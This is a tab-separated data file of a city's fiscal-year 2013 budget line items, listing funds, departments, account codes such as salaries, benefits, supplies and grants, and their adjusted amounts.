4281	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2013	375.0	0	0.0	0.0	0	0	0.0	4	0.0	0	0	0.0	379.0
4282	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		UNEMPLOYMENT	816.0	Salaries and Wages	2013	4960.0	0	0.0	0.0	0	0	0.0	50	0.0	0	0	0.0	5010.0
4283	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4284	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2013	6700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6700.0
4285	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	119998.0	0	0.0	0.0	0	0	0.0	1200	0.0	0	0	0.0	121198.0
4286	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	5000	0.0	5000.0
4287	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2013	130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	130.0
4288	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	45427.0	0	0.0	0.0	0	0	0.0	454	0.0	0	0	0.0	45881.0
4289	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	542210.0	PUBLICATIONS	804.0	 Supplies and Expenses	2013	177263.0	0	0.0	5028.0	0	0	0.0	0	0.0	0	0	0.0	182291.0
4290	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2013	26550.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26550.0
4291	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	561504.0	SERIAL INEBRIATE PROG-HAP	816.0	 Supplies and Expenses	2013	450778.0	0	0.0	0.0	0	0	0.0	-115778	0.0	0	0	0.0	335000.0
4292	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-21161.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-21161.0
4293	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-45071.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-45071.0
4294	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-27931.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-27931.0
4295	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2013	-48120.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-48120.0
4296	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2013	-91989.0	0	0.0	0.0	0	0	0.0	4709	0.0	0	0	0.0	-87280.0
4297	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2013	-466321.0	0	0.0	0.0	0	0	0.0	326030	0.0	0	0	0.0	-140291.0
4298	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2013	-53244.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-53244.0
4299	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	180830.0	0	0.0	0.0	0	0	0.0	35067	0.0	0	0	0.0	215897.0
4300	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	2622.0	0	0.0	0.0	0	0	0.0	359	0.0	0	0	0.0	2981.0
4301	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-12989.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-12989.0
4302	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DCAP	804.0	Salaries and Wages	2013	216.0	0	0.0	0.0	0	0	0.0	20	0.0	0	0	0.0	236.0
4303	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
4304	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2013	6240.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6240.0
4305	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2013	35621.0	0	0.0	0.0	0	0	0.0	150000	0.0	0	0	0.0	185621.0
4306	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	765685.0	0	0.0	0.0	0	0	0.0	7657	0.0	0	0	0.0	773342.0
4307	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511748.0	DENTAL	804.0	Salaries and Wages	2013	7408.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7408.0
4308	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		DCAP	804.0	Salaries and Wages	2013	480.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	480.0
4309	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	578990.0	WELLNESS PROGRAM	804.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
4310	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		EAP	816.0	Salaries and Wages	2013	1662.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1662.0
4311	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522710.0	AUTO REIMBURSEMENT	816.0	 Supplies and Expenses	2013	990.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	990.0
4312	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2013	485.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	485.0
4313	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566553.0	GLOW	810.0	 Supplies and Expenses	2013	75000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75000.0
4314	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562155.0	PRESCHOOL-ERLY INT & VIOL PREV		 Supplies and Expenses	2013	70577.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70577.0
4315	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562270.0	ST. JOHN'S CFDC-ROGERS LEARNIN		 Supplies and Expenses	2013	59867.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	59867.0
4316	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		ST. JOE-HPSHP		 Supplies and Expenses	2013	273211.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	273211.0
4317	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562434.0	SHP-OPCC	810.0	 Supplies and Expenses	2013	112958.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	112958.0
4318	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	406796.0	10 UASI GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	-1871.0	0	0	0.0	0	0.0	0	0	0.0	-1871.0
4319	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569223.0	MORGAN-WIXSON THEATRE	810.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4320	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	406795.0	09 UASI GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	-6738.0	0	0	0.0	0	0.0	0	0	0.0	-6738.0
4321	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	404010.0	PROP 84-16TH ST WATERSHED	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-1013085.0	0	0	0.0	-1013085.0
4322	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	404030.0	PROP 84-IN-LINE STORM DRAIN	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-287689.21	0	0	0.0	-287689.21
4323	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544470.0	GROUNDS MAINT EQ & SUPPLIES	808.0	 Supplies and Expenses	2013	7000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7000.0
4324	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408250.0	AHPP COMP MONITOR-STARTUP FEE	622.0	Other	2013	-17000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-17000.0
4325	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2013	38727.0	0	0.0	0.0	0	0	0.0	387	0.0	0	0	0.0	39114.0
4326	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522180.0	BANK FEES		 Supplies and Expenses	2013	400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	400.0
4327	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522320.0	METERED POSTAGE		 Supplies and Expenses	2013	600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600.0
4328	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2013	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
4329	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2013	5165.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5165.0
4330	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4331	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555820.0	CUPA ELECTRONIC REPORTING	806.0	 Supplies and Expenses	2013	39724.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39724.0
4332	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563129.0	SENIOR CENTER OPERATIONS		 Supplies and Expenses	2013	150000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	150000.0
4333	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	576521.0	9-1-1 VOICE LOGGERS	806.0	 Supplies and Expenses	2013	85480.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	85480.0
4334	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	408101.0	9-1-1 VOICE LOGGERS	610.0	Intergovernmental	2013	-85480.0	0	0.0	-24416.0	0	0	0.0	0	0.0	0	0	0.0	-109896.0
4335	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408320.0	LANDSCAPE & IRRIG PLAN CHECK R	612.0	Charges for Service	2013	-11000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11000.0
4336	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555067.0	LANDFILL GAS CONTROL SYST.	804.0	 Supplies and Expenses	2013	165658.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	165658.0
4337	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	284392.0	0	0.0	0.0	0	0	0.0	36424	0.0	0	0	0.0	320816.0
4338	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579320.0	TRANSFER OUT TO CEMETERY FUND	910.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	23050.0	23050.0
4339	B1	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579320.0	TRANSFER IN FROM GENERAL FUND		 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	-23050.0	-23050.0
4340	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUST SUPPLIES CITY TV	808.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4341	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2013	-200000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-200000.0
4342	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	814115.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	814115.0
4343	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2013	19393.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19393.0
4344	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2013	1230.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1230.0
4345	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2013	4320.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4320.0
4346	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2013	1250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1250.0
4347	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2013	3100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3100.0
4348	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533227.0	BLDG/STR MAINT-PARK BLDG	808.0	 Supplies and Expenses	2013	185000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	185000.0
4349	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	380007.0	0	0.0	0.0	0	0	0.0	3800	0.0	0	0	0.0	383807.0
4350	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	57004.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	57004.0
4351	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511490.0	OVERTIME	808.0	Salaries and Wages	2013	13764.0	0	0.0	0.0	0	0	0.0	138	0.0	0	0	0.0	13902.0
4352	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	15957.0	0	0.0	-163.0	0	0	0.0	158	0.0	0	0	0.0	15952.0
4353	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	6397.0	0	0.0	0.0	0	0	0.0	64	0.0	0	0	0.0	6461.0
4354	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2013	6436.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6436.0
4355	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-6257.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6257.0
4356	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	204622.0	0	0.0	0.0	0	0	0.0	2046	0.0	0	0	0.0	206668.0
4357	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2013	1774.0	0	0.0	0.0	0	0	0.0	18	0.0	0	0	0.0	1792.0
4358	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	1344.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1344.0
4359	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2013	960.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	970.0
4360	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	363152.0	0	0.0	0.0	0	0	0.0	3632	0.0	0	0	0.0	366784.0
4361	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	6952.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6952.0
4362	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2013	25000.0	0	0.0	0.0	0	0	0.0	250	0.0	0	0	0.0	25250.0
4363	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2013	275857.0	0	0.0	0.0	0	0	0.0	2759	0.0	0	0	0.0	278616.0
4364	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2013	4633.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4633.0
4365	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2013	29772.0	0	0.0	0.0	0	0	0.0	298	0.0	0	0	0.0	30070.0
4366	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2013	2748.0	0	0.0	0.0	0	0	0.0	66	0.0	0	0	0.0	2814.0
4367	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2013	1538.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1538.0
4368	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	576512.0	OTS STEP GRANT 2012	806.0	 Supplies and Expenses	2013	4000.0	0	0.0	2000.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
4369	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408400.0	LINCOLN BLVD STPL FUNDS	610.0	Intergovernmental	2013	-1329643.0	0	0.0	0.0	0	0	0.0	0	965124.0	0	0	0.0	-364519.0
4370	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570070.0	TRANSFER-MEASURE V FUND	908.0	 Supplies and Expenses	2013	-856724.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-856724.0
4371	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	4183.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4183.0
4372	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2013	10730.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10730.0
4373	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	556220.0	EARLY CHILDHOOD DEVELOPMENT		 Supplies and Expenses	2013	85000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	85000.0
4374	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544015.0	FIELD EQUIP & TOOLS	808.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4375	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	20400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20400.0
4376	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400613.0	NEWSRACK PERMITS	612.0	Charges for Service	2013	-35530.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35530.0
4377	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	650.0	-115	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	535.0
4378	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2013	85920.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	85920.0
4379	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555013.0	OUTSIDE REPAIRS - SHOP EQUIP		 Supplies and Expenses	2013	152469.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	152469.0
4380	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	2500	0.0	2500.0
4381	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2013	75000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75000.0
4382	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533030.0	PROPERTY INSURANCE	810.0	 Supplies and Expenses	2013	112820.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	112820.0
4383	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	810.0	 Supplies and Expenses	2013	3383.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3383.0
4384	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2013	22000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22000.0
4385	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	13036.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13036.0
4386	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2013	4377.0	0	0.0	0.0	0	0	0.0	44	0.0	0	0	0.0	4421.0
4387	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		UNEMPLOYMENT	804.0	Salaries and Wages	2013	1822.0	0	0.0	0.0	0	0	0.0	18	0.0	0	0	0.0	1840.0
4388	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	2795.0	0	0.0	0.0	0	0	0.0	28	0.0	0	0	0.0	2823.0
4389	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2013	308012.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	308012.0
4390	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522180.0	BANK FEES	804.0	 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
4391	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	569360.0	INNOVATIONS	804.0	 Supplies and Expenses	2013	16000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16000.0
4392	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533220.0	BUILDING / STRUCTURE MAINT	804.0	 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	-31500	0.0	18500.0
4393	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409140.0	PASSPORT SERV APPLICATIONS	612.0	Charges for Service	2013	-14600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14600.0
4394	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561112.0	CLARE COORDINATED CASE MGMT	808.0	 Supplies and Expenses	2013	4130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4130.0
4395	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561117.0	ST JOSEPH CENTER HPSHP-PROP A	808.0	 Supplies and Expenses	2013	8180.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8180.0
4396	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	408000.0	INTERFUND SERVICES-RES	612.0	Charges for Service	2013	-193965.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-193965.0
4397	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	1000.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	1010.0
